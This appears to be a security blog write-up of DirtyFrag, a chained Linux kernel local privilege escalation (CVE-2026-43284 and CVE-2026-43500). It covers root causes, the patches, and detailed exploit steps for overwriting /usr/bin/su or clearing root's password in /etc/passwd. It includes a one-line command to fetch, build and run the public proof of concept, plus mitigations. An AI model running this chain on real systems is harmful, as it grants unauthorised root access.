Wed 13 May 2026
DirtyFrag
Universal Linux Local Privilege Escalation via Page-Cache Write
May 7, 2026 · CVSS 7.8 HIGH · Linux kernel (2017–2026)
| CVE ID | CVSS | Component | Affected | Fixed |
|---|---|---|---|---|
| CVE-2026-43284 | 7.8 HIGH | xfrm / ESP (esp4, esp6) | kernel ≥ cac2661c53f3 (2017-01-17) | f4c50a4034e6 (2026-05-08) |
| CVE-2026-43500 | 7.8 HIGH | RxRPC (rxrpc.ko) | kernel ≥ 2dc334f1a63a (2023-06-08) | aa54b1d27fe0 (2026-05-10) |
DirtyFrag Overview: A New Member of the Dirty Page-Cache Write Family
DirtyFrag is a privilege-escalation technique discovered and reported by Hyunwoo Kim (@v4bel) that achieves root on the vast majority of Linux distributions without a race condition. It belongs to the same vulnerability class as Dirty Pipe and Copy Fail: an attacker uses splice() to pin a read-only page-cache page into a kernel data structure, and kernel code later performs an in-place write on top of that page, permanently corrupting the on-RAM copy of a file the attacker can only read.
The name refers to the member that is "dirtied": while Dirty Pipe corrupts struct pipe_buffer, DirtyFrag corrupts the frag member of struct sk_buff.
DirtyFrag chains two independent vulnerabilities to eliminate each other's blind spots:
- CVE-2026-43284 (xfrm-ESP Page-Cache Write) — a powerful arbitrary 4-byte STORE primitive triggered via the IPsec ESP input path. Available on most distributions but requires the privilege to create a user namespace (
unshare(CLONE_NEWUSER)). - CVE-2026-43500 (RxRPC Page-Cache Write) — an 8-byte STORE triggered via the RxRPC in-place decryption path. Requires no namespace privilege but depends on
rxrpc.ko, which is not shipped by most distributions — yet is loaded by default on Ubuntu.
By running the ESP variant first and falling back to the RxRPC variant when namespace creation is blocked (e.g. Ubuntu with AppArmor hardening), a single binary achieves root across every major distribution.
CVE-2026-43284: xfrm-ESP Page-Cache Write
Root Cause
Before running in-place AEAD decryption on an ESP payload, esp_input() should call skb_cow_data() for non-linear skbs to allocate a private kernel buffer and copy frag data into it. However, when the skb is not cloned and has no frag_list, the function short-circuits directly to the decryption:
static int esp_input(struct xfrm_state *x, struct sk_buff *skb)
{
[...]
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) { // [1]
nfrags = 1;
goto skip_cow;
} else if (!skb_has_frag_list(skb)) {
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
goto skip_cow; // [2] vulnerable path
}
}
err = skb_cow_data(skb, 0, &trailer);
[...]
At [2], the frag bypasses copy-on-write. If the attacker pinned a page-cache page into that frag via splice, the ESP subsystem's internal AEAD engine operates directly on that page
(note: this is distinct from algif_aead — no AF_ALG involvement here).
The decryption function crypto_authenc_esn_decrypt() performs a 4-byte STORE during its ESN sequence-number preprocessing step — before authentication runs:
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
[...]
scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // [3] 4-byte STORE
dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
[...]
The 4-byte value written at [3] is the high-order 32 bits of the ESN sequence number — a value the attacker supplies at SA registration time via the XFRMA_REPLAY_ESN_VAL netlink attribute. This means the attacker controls both the target file offset (via splice positioning) and the 4 bytes written (via SA's seq_hi). AEAD authentication fails with -EBADMSG, but the STORE has already committed to the page cache.
Exploit Strategy (ESP Variant)
The target is /usr/bin/su. The exploit overwrites the first 192 bytes of its page-cache copy with a minimal root-shell ELF:
- The ELF maps 0xb8 bytes as R+X at vaddr
0x400000via PT_LOAD. - Entry point
0x400078callssetgid(0); setuid(0); setgroups(0, NULL); execve("/bin/sh", ...). - The PAM flow is bypassed entirely.
The 192 bytes are split into 48 × 4-byte chunks, each delivered by a separate XFRM SA whose seq_hi carries the target shellcode bytes.
A child process first calls unshare(CLONE_NEWUSER | CLONE_NEWNET) to gain CAP_NET_ADMIN inside the new namespace, then registers 48 SAs at once. Each trigger pipes a forged ESP wire header + 16 bytes of the /usr/bin/su page (via vmsplice + splice) to a loopback UDP socket with UDP_ENCAP_ESPINUDP. The resulting skb carries the page-cache page as frags[0], flows through esp_input, and receives its 4-byte STORE. After all 48 iterations the full ELF is assembled in RAM, and execve("/usr/bin/su") from the parent (init namespace) launches the root shell.
Patch (CVE-2026-43284)
The fix adds a SKBFL_SHARED_FRAG flag to page frags that arrive via splice in the IPv4/IPv6 datagram append paths, and extends the skip_cow guard in esp_input / esp6_input to check this flag:
-} else if (!skb_has_frag_list(skb)) {
+} else if (!skb_has_frag_list(skb) &&
+ !skb_has_shared_frag(skb)) {
Attacker-pinned page-cache pages now always reach skb_cow_data() and can no longer enter the dst SGL of the in-place AEAD.
CVE-2026-43500: RxRPC Page-Cache Write
Root Cause
rxkad_verify_packet_1() verifies RxRPC DATA packets at RXRPC_SECURITY_AUTH level by performing an in-place pcbc(fcrypt) decryption of the first 8 bytes of the rxrpc payload:
sg_init_table(sg, ARRAY_SIZE(sg));
ret = skb_to_sgvec(skb, sg, sp->offset, 8);
[...]
skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // [4] src == dst: in-place
ret = crypto_skcipher_decrypt(req); // [5] 8-byte STORE
At [4], the src and dst SGLs are identical. skb_to_sgvec() converts the skb's frag into the SGL directly, so the page-cache page pinned by the attacker via splice becomes both src and dst. The 8-byte STORE at [5] writes fcrypt_decrypt(C, K) — the result of decrypting the ciphertext at the frag offset with the attacker's session key K.
The session key is planted freely without any privilege via add_key("rxrpc", ...). Unlike the ESP variant, no user namespace is needed.
Exploit Strategy (RxRPC Variant)
Because the STORE value is fcrypt_decrypt(C, K) rather than a directly controlled value, the attacker brute-forces K in user space until the desired 8-byte plaintext drops out. fcrypt is a 56-bit-key AFS cipher — a user-space port runs at ~18 M/s, yielding a key in about 5 ms for each weakly constrained block.
The target is line 1 of /etc/passwd. The exploit applies three overlapping 8-byte STOREs at file offsets 4, 6, and 8 to reshape "root:x:0:0:root:/root:/bin/bash" into "root::0:0:GGGGGG:/root:/bin/bash". The passwd field becomes an empty string; pam_unix.so with nullok accepts it and returns PAM_SUCCESS without prompting for a password.
The STORE at each position requires:
- Computing the chained ciphertext (accounting for previous STOREs already applied to the page).
- Brute-forcing
Ksuch thatfcrypt_decrypt(C_actual, K)produces the desired plaintext. - Registering the key with
add_key, setting up a loopback AF_RXRPC handshake, precomputing the wire checksum, and delivering a forged DATA packet viavmsplice+splice.
This variant does not call unshare() — all syscalls (add_key, socket(AF_RXRPC), socket(AF_ALG), splice, recvmsg) are available to unprivileged users.
Patch (CVE-2026-43500)
The fix extends the guard before in-place decryption in call_event.c and conn_event.c from a single skb_cloned check to also catch shared and frag-list skbs:
-if (skb_cloned(skb)) {
+if (skb_cloned(skb) || skb_has_frag_list(skb) ||
+ skb_has_shared_frag(skb)) {
Skbs carrying externally-pinned paged frags are now isolated via skb_copy() before reaching the decrypt sink.
DirtyFrag: Exploit Chain — One Binary, Universal Root
The chaining logic is straightforward:
1. Attempt ESP variant (child: unshare USER+NET → register XFRM SAs → splice → patch /usr/bin/su)
2. Read back the first shellcode byte at the entry offset of /usr/bin/su.
- Success → parent: forkpty + execve("/usr/bin/su") → root shell.
3. Failure (unshare denied, esp4.ko absent, or SA registration fails):
- Fall back to RxRPC variant:
K brute-force × 3 → splice triggers → /etc/passwd line 1 cleared
forkpty + execve("/usr/bin/su") → PAM nullok → root shell.
The combined chain has been confirmed on: Ubuntu 24.04.4 (kernel 6.17.0-23), RHEL 10.1 (6.12.0-124.49.1), openSUSE Tumbleweed (7.0.2-1), CentOS Stream 10, AlmaLinux 10, and Fedora 44. No race condition is involved, the kernel does not panic on failure, and the success rate is near 100%.
DirtyFrag Proof-of-Concept
The public PoC is a single C file. Build and run with:
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Testing Environment
The exploit was tested on a local VirtualBox VM running Ubuntu 24.04.1 with an unpatched kernel:
Linux aziz-VirtualBox 6.17.0-23-generic #23~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 14 16:11:48 UTC 2 x86_64 GNU/Linux

Exploitation
The exploit chain ran the ESP variant first (user namespace creation is permitted on this kernel), overwrote the /usr/bin/su page cache with the root-shell ELF, and returned a root shell in under a second:

uid=0(root) gid=0(root) groups=0(root) via DirtyFrag
Immediate Mitigation
Until a kernel update is available, disable the vulnerable modules and flush the page cache:
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' \
> /etc/modprobe.d/dirtyfrag.conf; \
rmmod esp4 esp6 rxrpc 2>/dev/null; \
echo 3 > /proc/sys/vm/drop_caches; true"
Remediation
- Apply kernel updates from your distribution once a backport is available.
- Verify that
esp4,esp6, andrxrpcmodules are not loaded on systems that do not require IPsec or AFS (lsmod | grep -E 'esp4|esp6|rxrpc'). - On Ubuntu, review AppArmor policy for unprivileged user namespace creation — while this blocks the ESP path, the RxRPC path remains open regardless.
- Monitor for page-cache anomalies on sensitive setuid binaries and
/etc/passwd.
References
| Resource | Link |
|---|---|
| GitHub PoC (V4bel/dirtyfrag) | https://github.com/V4bel/dirtyfrag |
| Kernel patch CVE-2026-43284 (f4c50a4034e6) | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4 |
| Kernel patch CVE-2026-43500 (aa54b1d27fe0) | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71 |
| NVD CVE-2026-43284 | https://nvd.nist.gov/vuln/detail/CVE-2026-43284 |
| Red Hat Advisory RHSB-2026-003 | https://access.redhat.com/security/vulnerabilities/RHSB-2026-003 |
| Ubuntu Security Notice | https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available |